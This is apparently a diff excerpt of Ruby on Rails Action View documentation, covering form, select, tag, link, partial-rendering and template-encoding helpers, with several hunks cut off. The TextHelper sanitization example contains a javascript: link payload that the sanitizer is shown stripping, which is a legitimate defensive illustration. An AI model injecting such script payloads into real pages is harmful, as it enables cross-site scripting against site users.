+ #
+ # Like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
+ # option to be in the +html_options+ parameter.
+ #
+ # select("album[]", "genre", %w[rap rock country], {}, { index: nil })
+ #
+ # becomes:
+ #
+ # <select name="album[][genre]" id="album__genre">
+ # <option value="rap">rap</option>
+ # <option value="rock">rock</option>
+ # <option value="country">country</option>
+ # </select>
+ #
+ # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
+ #
+ # select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
+ #
+ # could become:
+ #
+ # <select name="post[category]">
+ # <option></option>
+ # <option>joke</option>
+ # <option>poem</option>
+ # <option disabled="disabled">restricted</option>
+ # </select>
+ #
+ # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
+ #
+ # collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }})
+ #
+ # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
+ # <select name="post[category_id]">
+ # <option value="1" disabled="disabled">2008 stuff</option>
+ # <option value="2" disabled="disabled">Christmas</option>
+ # <option value="3">Jokes</option>
+ # <option value="4">Poems</option>
+ # </select>
+ #
+ module FormOptionsHelper
+ # ERB::Util can mask some helpers like textilize. Make sure to include them.
+ include TextHelper
+
+ # Create a select tag and a series of contained option tags for the provided object and method.
+ # The option currently held by the object will be selected, provided that the object is available.
+ #
+ # There are two possible formats for the choices parameter, corresponding to other helpers' output:
+ # * A flat collection: see options_for_select
+ # * A nested collection: see grouped_options_for_select
+ #
+ # Example with @post.person_id => 1:
+ # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
+ #
+ # could become:
+ #
+ # <select name="post[person_id]">
+ # <option value=""></option>
+ # <option value="1" selected="selected">David</option>
+ # <option value="2">Sam</option>
+ # <option value="3">Tobias</option>
+ # </select>
+ #
+ # This can be used to provide a default set of options in the standard way: before rendering the create form, a
+ # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
+ # to the database. Instead, a second model object is created when the create request is received.
+ # This allows the user to submit a form page more than once with the expected results of creating multiple records.
+ # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
+ #
+ # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>selected: value</tt> to use a different selection
+ # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
+ # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
+ #
+ # ==== Gotcha
+ #
+ # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
+ # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
+ # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
+ # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
+ # any mass-assignment idiom like
+ #
+ # @user.update(params[:user])
+ #
+ # wouldn't update roles.
+ #
+ # To prevent this the helper generates an auxiliary hidden field before
+ # every multiple select. The hidden field has the same name as multiple select and blank value.
+ #
+ # This way, the client either sends only the hidden field (representing
+ # the deselected multiple select box), or both fields. Since the HTML specification
+ # says key/value pairs have to be sent in the same order they appear in the
+ # form, and parameters extraction gets the last occurrence of any repeated
+ # key in the query string, that works for ordinary forms.
+ #
+ # In case if you don't want the helper to generate this hidden field you can specify
+ # <tt>include_hidden: false</tt> option.
+ #
+ def select(object, method, choices, options = {}, html_options = {})
+ Tags::Select.new(object, method, self, choices, options, html_options).render
+ end
+
+ # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of

+ # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
+ # or <tt>:include_blank</tt> in the +options+ hash.
+ #
+ # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member

+ # = Action View Form Tag Helpers
+ module Helpers
+ # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
+ # FormHelper does. Instead, you provide the names and values manually.
+ #
+ # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
+ # <tt>disabled: true</tt> will give <tt>disabled="disabled"</tt>.

+
+ # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
+ # ActionController::Base#url_for. The method for the form defaults to POST.
+ #
+ # ==== Options
+ # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
+ # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
+ # If "patch", "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
+ # is added to simulate the verb over post.
+ # * <tt>:authenticity_token</tt> - Authenticity token to use in the form. Use only if you need to
+ # pass custom authenticity token string, or to not add authenticity_token field at all
+ # (by passing <tt>false</tt>). Remote forms may omit the embedded authenticity token
+ # by setting <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+ # This is helpful when you're fragment-caching the form. Remote forms get the
+ # authenticity token from the <tt>meta</tt> tag, so embedding is unnecessary unless you
+ # support browsers without JavaScript.
+ # * A list of parameters to feed to the URL the form will be posted to.
+ # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
+ # submit behavior. By default this behavior is an ajax submit.
+ #
+ # ==== Examples
+ # form_tag('/posts')
+ # # => <form action="/posts" method="post">
+ #
+ # form_tag('/posts/1', method: :put)
+ # # => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
+ #
+ # form_tag('/upload', multipart: true)
+ # # => <form action="/upload" method="post" enctype="multipart/form-data">
+ #
+ # <%= form_tag('/posts') do -%>
+ # <div><%= submit_tag 'Save' %></div>
+ # <% end -%>
+ # # => <form action="/posts" method="post"><div><input type="submit" name="commit" value="Save" /></div></form>
+ #
+ # <%= form_tag('/posts', remote: true) %>
+ # # => <form action="/posts" method="post" data-remote="true">

+ #
+ # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or

+ #
+ # ==== Options
+ # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
+ # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+ # * <tt>:include_blank</tt> - If set to true, an empty option will be create

+ # Returns an empty HTML tag of type +name+ which by default is XHTML
+ # compliant. Set +open+ to true to create an open tag compatible
+ # with HTML 4.0 and below. Add HTML attributes by passing an attributes
+ # hash to +options+. Set +escape+ to false to disable attribute value
+ # escaping.
+ #
+ # ==== Options
+ # You can use symbols or strings for the attribute names.
+ #
+ # Use +true+ with boolean attributes that can render with no value, like
+ # +disabled+ and +readonly+.
+ #
+ # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
+ # pointing to a hash of sub-attributes.
+ #
+ # To play nicely with JavaScript conventions sub-attributes are dasherized.
+ # For example, a key +user_id+ would render as <tt>data-user-id</tt> and
+ # thus accessed as <tt>dataset.userId</tt>.
+ #
+ # Values are encoded to JSON, with the exception of strings and symbols.
+ # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
+ # from 1.4.3.
+ #
+ # ==== Examples
+ # tag("br")
+ # # => <br />
+ #
+ # tag("br", nil, true)
+ # # => <br>
+ #
+ # tag("input", type: 'text', disabled: true)
+ # # => <input type="text" disabled="disabled" />
+ #
+ # tag("img", src: "open & shut.png")
+ # # => <img src="open & shut.png" />
+ #
+ # tag("img", {src: "open & shut.png"}, false, false)
+ # # => <img src="open & shut.png" />

+ # Set escape to false to disable attribute value escaping.
+ #
+ # ==== Options
+ # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
+ # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
+ # symbols or strings for the attribute names.
+ #
+ # ==== Examples
+ # content_tag(:p, "Hello world!")
+ # # => <p>Hello world!</p>
+ # content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")

+ module Helpers #:nodoc:
+ # The TextHelper module provides a set of methods for filtering, formatting
+ # and transforming strings, which can reduce the amount of inline Ruby code in
+ # your views. These helper methods extend Action View making them callable
+ # within your template files.
+ #
+ # ==== Sanitization
+ #
+ # Most text helpers by default sanitize the given content, but do not escape it.
+ # This means HTML tags will appear in the page but all malicious code will be removed.
+ # Let's look at some examples using the +simple_format+ method:
+ #
+ # simple_format('<a href="http://example.com/">Example</a>')
+ # # => "<p><a href=\"http://example.com/\">Example</a></p>"
+ #
+ # simple_format('<a href="javascript:alert(\'no!\')">Example</a>')
+ # # => "<p><a>Example</a></p>"
+ #
+ # If you want to escape all content, you should invoke the +h+ method before
+ # calling the text helper.
+ #
+ # simple_format h('<a href="http://example.com/">Example</a>')
+ # # => "<p><a href=\"http://example.com/\">Example</a></p>"

+ include TagHelper
+ # The preferred method of outputting text in your views is to use the
+ # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
+ # do not operate as expected in an eRuby code block. If you absolutely must
+ # output text within a non-output code block (i.e., <% %>), you can use the concat method.
+ #
+ # <%
+ # concat "hello"
+ # # is the equivalent of <%= "hello" %>
+ #
+ # if logged_in
+ # concat "Logged in!"
+ # else
+ # concat link_to('login', action: :login)

+ # This way your views will display rather reasonable strings but it will still

+ # Second, it'll scope the key by the current partial if the key starts

+ # the value of the link itself will become the name.
+ #
+ # ==== Signatures
+ #
+ # link_to(body, url, html_options = {})
+ # # url is a String; you can use URL helpers like
+ # # posts_path
+ #
+ # link_to(body, url_options = {}, html_options = {})
+ # # url_options, except :method, is passed to url_for
+ #
+ # link_to(options = {}, html_options = {}) do
+ # # name
+ # end
+ #
+ # link_to(url, html_options = {}) do
+ # # name
+ # end
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>method: symbol of HTTP verb</tt> - This modifier will dynamically
+ # create an HTML form and immediately submit the form for processing using
+ # the HTTP verb specified. Useful for having links perform a POST operation
+ # in dangerous actions like deleting a record (which search bots can follow
+ # while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
+ # Note that if the user has JavaScript disabled, the request will fall back
+ # to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
+ # disabled clicking the link will have no effect. If you are relying on the
+ # POST behavior, you should check for it in your controller's action by using
+ # the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>:patch</tt>, or <tt>put?</tt>.
+ # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
+ # driver to make an Ajax request to the URL in question instead of following
+ # the link. The drivers each provide mechanisms for listening for the
+ # completion of the Ajax request and performing JavaScript operations once
+ # they're complete
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
+ # driver to prompt with the question specified. If the user accepts, the link is
+ # processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be
+ # used as the value for a disabled version of the submit
+ # button when the form is submitted. This feature is provided
+ # by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
+ # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
+ # your application on resources and use
+ #
+ # link_to "Profile", profile_path(@profile)
+ # # => <a href="/profiles/1">Profile</a>
+ #
+ # or the even pithier
+ #
+ # link_to "Profile", @profile
+ # # => <a href="/profiles/1">Profile</a>
+ #
+ # in place of the older more verbose, non-resource-oriented
+ #
+ # link_to "Profile", controller: "profiles", action: "show", id: @profile
+ # # => <a href="/profiles/show/1">Profile</a>
+ #
+ # Similarly,
+ #
+ # link_to "Profiles", profiles_path
+ # # => <a href="/profiles">Profiles</a>
+ #
+ # is better than
+ #
+ # link_to "Profiles", controller: "profiles"
+ # # => <a href="/profiles">Profiles</a>
+ #
+ # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+ #
+ # <%= link_to(@profile) do %>
+ # <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
+ # <% end %>
+ # # => <a href="/profiles/1">
+ # <strong>David</strong> -- <span>Check it out!</span>
+ # </a>
+ #
+ # Classes and ids for CSS are easy to produce:
+ #
+ # link_to "Articles", articles_path, id: "news", class: "article"
+ # # => <a href="/articles" class="article" id="news">Articles</a>
+ #
+ # Be careful when using the older argument style, as an extra literal hash is needed:
+ #
+ # link_to "Articles", { controller: "articles" }, id: "news", class: "article"
+ # # => <a href="/articles" class="article" id="news">Articles</a>
+ #
+ # Leaving the hash off gives the wrong link:
+ #
+ # link_to "WRONG!", controller: "articles", id: "news", class: "article"
+ # # => <a href="/articles/index/news?class=article">WRONG!</a>
+ #
+ # +link_to+ can also produce links with anchors or query strings:
+ #
+ # link_to "Comment wall", profile_path(@profile, anchor: "wall")
+ # # => <a href="/profiles/1#wall">Comment wall</a>
+ #
+ # link_to "Ruby on Rails search", controller: "searches", query: "ruby on rails"
+ # # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
+ #
+ # link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
+ # # => <a href="/searches?foo=bar&baz=quux">Nonsense search</a>
+ #
+ # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
+ #
+ # link_to("Destroy", "http://www.example.com", method: :delete)
+ # # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
+ #
+ # You can also use custom data attributes using the <tt>:data</tt> option:
+ #
+ # link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
+ # # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a>
+ def link_to(name = nil, options = nil, html_options = nil, &block)
+ html_options, options = options, name if block_given?
+ options ||= {}
+
+ html_options = convert_options_to_data_attributes(options, html_options)
+
+ url = url_for(options)
+ html_options['href'] ||= url
+
+ content_tag(:a, name || url, html_options, &block)
+ end
+
+ # Generates a form containing a single button that submits to the URL created
+ # by the set of +options+. This is the safest method to ensure links that
+ # cause changes to your data are not triggered by search bots or accelerators.
+ # If the HTML button does not work with your layout, you can also consider
+ # using the +link_to+ method with the <tt>:method</tt> modifier as described in
+ # the +link_to+ documentation.
+ #
+ # By default, the generated form element has a class name of <tt>button_to</tt>
+ # to allow styling of the form itself and its children. This can be changed
+ # using the <tt>:form_class</tt> modifier within +html_options+. You can control
+ # the form submission and input element behavior using +html_options+.
+ # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
+ # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
+ # You can also disable the button by passing <tt>disabled: true</tt> in +html_options+.
+ # If you are using RESTful routes, you can pass the <tt>:method</tt>
+ # to change the HTTP verb used to submit the form.
+ #
+ # ==== Options
+ # The +options+ hash accepts the same options as +url_for+.
+ #
+ # There are a few special +html_options+:
+ # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
+ # <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
+ # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
+ # submit behavior. By default this behavior is an ajax submit.
+ # * <tt>:form</tt> - This hash will be form attributes
+ # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
+ # be placed
+ #
+ # ==== Data attributes
+ #
+ # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
+ # prompt with the question specified. If the user accepts, the link is
+ # processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be
+ # used as the value for a disabled version of the submit
+ # button when the form is submitted. This feature is provided
+ # by the unobtrusive JavaScript driver.
+ #

+ # specialize the default behavior (e.g., show a "Start Here" link rather
+ # than the link's text).
+ #
+ # ==== Examples
+ # Let's say you have a navigation menu...
+ #
+ # <ul id="navbar">

+ # <li><%= link_to_unless_current("About Us", { action: "about" }) %></li>

+ #
+ # <ul id="navbar">
+ # <li><a href="/controller/index">Home</a></li>
+ # <li>About Us</li>
+ # </ul>

+ # <ul id="navbar">
+ # <li>Home</li>
+ # <li><a href="/controller/about">About Us</a></li>
+ # </ul>
+ #
+ # The implicit block given to +link_to_unless_current+ is evaluated if the current

+ # "Go Back" link instead of a link to the comments page, we could do something like this...
+ #
+ # <%=
+ # link_to_unless_current("Comment", { controller: "comments", action: "new" }) do

+
+module ActionView
+ # = Action View Partials
+ #
+ # There's also a convenience method for rendering sub templates within the current controller that depends on a
+ # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
+ # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
+ # templates that could be rendered on their own.
+ #
+ # In a template for Advertiser#account:
+ #
+ # <%= render partial: "account" %>
+ #
+ # This would render "advertiser/_account.html.erb".
+ #
+ # In another template for Advertiser#buy, we could have:
+ #
+ # <%= render partial: "account", locals: { account: @buyer } %>
+ #
+ # <% @advertisements.each do |ad| %>
+ # <%= render partial: "ad", locals: { ad: ad } %>
+ # <% end %>
+ #
+ # This would first render "advertiser/_account.html.erb" with @buyer passed in as the local variable +account+, then
+ # render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display.
+ #
+ # == The :as and :object options
+ #
+ # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
+ # The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
+ #
+ # <%= render partial: "account", object: @buyer %>
+ #
+ # would provide the <tt>@buyer</tt> object to the partial, available under the local variable +account+ and is
+ # equivalent to:
+ #
+ # <%= render partial: "account", locals: { account: @buyer } %>
+ #
+ # With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we
+ # wanted it to be +user+ instead of +account+ we'd do:
+ #
+ # <%= render partial: "account", object: @buyer, as: 'user' %>
+ #
+ # This is equivalent to
+ #
+ # <%= render partial: "account", locals: { user: @buyer } %>
+ #
+ # == Rendering a collection of partials
+ #
+ # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
+ # render a sub template for each of the elements. This pattern has been implemented as a single method that
+ # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
+ # example in "Using partials" can be rewritten with a single line:
+ #
+ # <%= render partial: "ad", collection: @advertisements %>
+ #
+ # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
+ # iteration counter will automatically be made available to the template with a name of the form
+ # +partial_name_counter+. In the case of the example above, the template would be fed +ad_counter+.
+ #
+ # The <tt>:as</tt> option may be used when rendering partials.
+ #
+ # You can specify a partial to be rendered between elements via the <tt>:spacer_template</tt> option.
+ # The following example will render <tt>advertiser/_ad_divider.html.erb</tt> between each ad partial:
+ #
+ # <%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
+ #
+ # If the given <tt>:collection</tt> is nil or empty, <tt>render</tt> will return nil. This will allow you
+ # to specify a text which will displayed instead by using this form:
+ #
+ # <%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
+ #
+ # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
+ # just keep domain objects, like Active Records, in there.
+ #
+ # == Rendering shared partials
+ #
+ # Two controllers can share a set of partials and render them like this:
+ #
+ # <%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
+ #
+ # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
+ #
+ # == Rendering objects that respond to `to_partial_path`
+ #
+ # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
+ # and pick the proper path by checking `to_partial_path` method.
+ #
+ # # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+ # # <%= render partial: "accounts/account", locals: { account: @account} %>
+ # <%= render partial: @account %>
+ #
+ # # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+ # # that's why we can replace:
+ # # <%= render partial: "posts/post", collection: @posts %>
+ # <%= render partial: @posts %>
+ #
+ # == Rendering the default case
+ #
+ # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
+ # defaults of render to render partials. Examples:
+ #
+ # # Instead of <%= render partial: "account" %>
+ # <%= render "account" %>
+ #
+ # # Instead of <%= render partial: "account", locals: { account: @buyer } %>
+ # <%= render "account", account: @buyer %>
+ #
+ # # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+ # # <%= render partial: "accounts/account", locals: { account: @account} %>
+ # <%= render @account %>
+ #
+ # # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+ # # that's why we can replace:
+ # # <%= render partial: "posts/post", collection: @posts %>
+ # <%= render @posts %>
+ #
+ # == Rendering partials with layouts
+ #
+ # Partials can have their own layouts applied to them. These layouts are different than the ones that are
+ # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
+ # of users:
+ #
+ # <%# app/views/users/index.html.erb &>
+ # Here's the administrator:
+ # <%= render partial: "user", layout: "administrator", locals: { user: administrator } %>
+ #
+ # Here's the editor:
+ # <%= render partial: "user", layout: "editor", locals: { user: editor } %>
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # Name: <%= user.name %>
+ #
+ # <%# app/views/users/_administrator.html.erb &>
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # <%= yield %>
+ # </div>
+ #
+ # <%# app/views/users/_editor.html.erb &>
+ # <div id="editor">
+ # Deadline: <%= user.deadline %>
+ # <%= yield %>
+ # </div>
+ #
+ # ...this will return:
+ #
+ # Here's the administrator:
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # Name: <%= user.name %>
+ # </div>
+ #
+ # Here's the editor:
+ # <div id="editor">
+ # Deadline: <%= user.deadline %>
+ # Name: <%= user.name %>
+ # </div>
+ #
+ # If a collection is given, the layout will be rendered once for each item in
+ # the collection. Just think these two snippets have the same output:
+ #
+ # <%# app/views/users/_user.html.erb %>
+ # Name: <%= user.name %>
+ #
+ # <%# app/views/users/index.html.erb %>
+ # <%# This does not use layouts %>
+ # <ul>
+ # <% users.each do |user| -%>
+ # <li>
+ # <%= render partial: "user", locals: { user: user } %>
+ # </li>
+ # <% end -%>
+ # </ul>
+ #
+ # <%# app/views/users/_li_layout.html.erb %>
+ # <li>
+ # <%= yield %>
+ # </li>
+ #
+ # <%# app/views/users/index.html.erb %>
+ # <ul>
+ # <%= render partial: "user", layout: "li_layout", collection: users %>
+ # </ul>
+ #
+ # Given two users whose names are Alice and Bob, these snippets return:
+ #
+ # <ul>
+ # <li>
+ # Name: Alice
+ # </li>
+ # <li>
+ # Name: Bob
+ # </li>
+ # </ul>
+ #
+ # The current object being rendered, as well as the object_counter, will be
+ # available as local variables inside the layout template under the same names
+ # as available in the partial.
+ #
+ # You can also apply a layout to a block within any template:
+ #
+ # <%# app/views/users/_chief.html.erb &>
+ # <%= render(layout: "administrator", locals: { user: chief }) do %>
+ # Title: <%= chief.title %>
+ # <% end %>
+ #
+ # ...this will return:
+ #
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # Title: <%= chief.name %>
+ # </div>
+ #
+ # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
+ #
+ # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
+ # an array to layout and treat it as an enumerable.
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # <div class="user">
+ # Budget: $<%= user.budget %>
+ # <%= yield user %>
+ # </div>
+ #
+ # <%# app/views/users/index.html.erb &>
+ # <%= render layout: @users do |user| %>
+ # Title: <%= user.title %>
+ # <% end %>
+ #
+ # This will render the layout for each user and yield to the block, passing the user, each time.
+ #
+ # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # <div class="user">
+ # <%= yield user, :header %>
+ # Budget: $<%= user.budget %>
+ # <%= yield user, :footer %>
+ # </div>
+ #
+ # <%# app/views/users/index.html.erb &>
+ # <%= render layout: @users do |user, section| %>
+ # <%- case section when :header -%>
+ # Title: <%= user.title %>

+module ActionView
+ # = Action View Template
+ class Template
+ extend ActiveSupport::Autoload
+
+ # === Encodings in ActionView::Template
+ #
+ # ActionView::Template is one of a few sources of potential
+ # encoding issues in Rails. This is because the source for
+ # templates are usually read from disk, and Ruby (like most
+ # encoding-aware programming languages) assumes that the
+ # String retrieved through File IO is encoded in the
+ # <tt>default_external</tt> encoding. In Rails, the default
+ # <tt>default_external</tt> encoding is UTF-8.
+ #
+ # As a result, if a user saves their template as ISO-8859-1
+ # (for instance, using a non-Unicode-aware text editor),
+ # and uses characters outside of the ASCII range, their
+ # users will see diamonds with question marks in them in
+ # the browser.
+ #
+ # For the rest of this documentation, when we say "UTF-8",
+ # we mean "UTF-8 or whatever the default_internal encoding
+ # is set to". By default, it will be UTF-8.
+ #
+ # To mitigate this problem, we use a few strategies:
+ # 1. If the source is not valid UTF-8, we raise an exception
+ # when the template is compiled to alert the user
+ # to the problem.
+ # 2. The user can specify the encoding using Ruby-style
+ # encoding comments in any template engine. If such
+ # a comment is supplied, Rails will apply that encoding
+ # to the resulting compiled source returned by the
+ # template handler.
+ # 3. In all cases, we transcode the resulting String to
+ # the UTF-8.
+ #
+ # This means that other parts of Rails can always assume
+ # that templates are encoded in UTF-8, even if the original
+ # source of the template was not UTF-8.
+ #
+ # From a user's perspective, the easiest thing to do is
+ # to save your templates as UTF-8. If you do this, you
+ # do not need to do anything else for things to "just work".
+ #
+ # === Instructions for template handlers
+ #
+ # The easiest thing for you to do is to simply ignore
+ # encodings. Rails will hand you the template source
+ # as the default_internal (generally UTF-8), raising
+ # an exception for the user before sending the template
+ # to you if it could not determine the original encoding.
+ #
+ # For the greatest simplicity, you can support only
+ # UTF-8 as the <tt>default_internal</tt>. This means
+ # that from the perspective of your handler, the
+ # entire pipeline is just UTF-8.
+ #
+ # === Advanced: Handlers with alternate metadata sources
+ #
+ # If you want to provide an alternate mechanism for
+ # specifying encodings (like ERB does via <%# encoding: ... %>),
+ # you may indicate that you will handle encodings yourself
+ # by implementing <tt>self.handles_encoding?</tt>
+ # on your handler.
+ #
+ # If you do, Rails will not try to encode the String
+ # into the default_internal, passing you the unaltered
+ # bytes tagged with the assumed encoding (from
+ # default_external).
+ #
+ # In this case, make sure you return a String from
+ # your handler encoded in the default_internal. Since
+ # you are handling out-of-band metadata, you are
+ # also responsible for alerting the user to any
+ # problems with converting the user's data to
+ # the <tt>default_internal</tt>.
+ #
+ # To do so, simply raise +WrongEncodingError+ as follows:
+ #
+ # raise WrongEncodingError.new(
+ # problematic_string,
+ # expected_encoding
+ # )

+ # A resolver that loads files from the filesystem. It allows setting your own
+ # resolving pattern. Such pattern can be a glob string supported by some variables.
+ #
+ # ==== Examples
+ #
+ # Default pattern, loads views the same way as previous versions of rails, eg. when you're
+ # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
+ #
+ # FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}")
+ #
+ # This one allows you to keep files with different formats in separate subdirectories,
+ # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
+ # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
+ #
+ # FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{.:handlers,}")
+ #
+ # If you don't specify a pattern then the default will be used.
+ #
+ # In order to use any of the customized resolvers above in a Rails application, you just need
+ # to configure ActionController::Base.view_paths in an initializer, for example:
+ #
+ # ActionController::Base.view_paths = FileSystemResolver.new(
+ # Rails.root.join("app/views"),
+ # ":prefix{/:locale}/:action{.:formats,}{.:handlers,}"
+ # )
+ #
+ # ==== Pattern format and variables
+ #
+ # Pattern has to be a valid glob string, and it allows you to use the
+ # following variables:
+ #
+ # * <tt>:prefix</tt> - usually the controller path
+ # * <tt>:action</tt> - name of the action
+ # * <tt>:locale</tt> - possible locale versions
+ # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
+ # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)

+module HTML
+
+ # Selects HTML elements using CSS 2 selectors.
+ #
+ # The +Selector+ class uses CSS selector expressions to match and select
+ # HTML elements.
+ #
+ # For example:
+ # selector = HTML::Selector.new "form.login[action=/login]"
+ # creates a new selector that matches any +form+ element with the class
+ # +login+ and an attribute +action+ with the value <tt>/login</tt>.
+ #
+ # === Matching Elements
+ #
+ # Use the #match method to determine if an element matches the selector.
+ #
+ # For simple selectors, the method returns an array with that element,
+ # or +nil+ if the element does not match. For complex selectors (see below)
+ # the method returns an array with all matched elements, of +nil+ if no
+ # match found.
+ #
+ # For example:
+ # if selector.match(element)
+ # puts "Element is a login form"
+ # end
+ #
+ # === Selecting Elements
+ #
+ # Use the #select method to select all matching elements starting with
+ # one element and going through all children in depth-first order.
+ #
+ # This method returns an array of all matching elements, an empty array
+ # if no match is found
+ #
+ # For example:
+ # selector = HTML::Selector.new "input[type=text]"
+ # matches = selector.select(element)
+ # matches.each do |match|
+ # puts "Found text field with name #{match.attributes['name']}"
+ # end
+ #
+ # === Expressions
+ #
+ # Selectors can match elements using any of the following criteria:
+ # * <tt>name</tt> -- Match an element based on its name (tag name).
+ # For example, <tt>p</tt> to match a paragraph. You can use <tt>*</tt>
+ # to match any element.
+ # * <tt>#</tt><tt>id</tt> -- Match an element based on its identifier (the
+ # <tt>id</tt> attribute). For example, <tt>#</tt><tt>page</tt>.
+ # * <tt>.class</tt> -- Match an element based on its class name, all
+ # class names if more than one specified.
+ # * <tt>[attr]</tt> -- Match an element that has the specified attribute.
+ # * <tt>[attr=value]</tt> -- Match an element that has the specified
+ # attribute and value. (More operators are supported see below)
+ # * <tt>:pseudo-class</tt> -- Match an element based on a pseudo class,
+ # such as <tt>:nth-child</tt> and <tt>:empty</tt>.
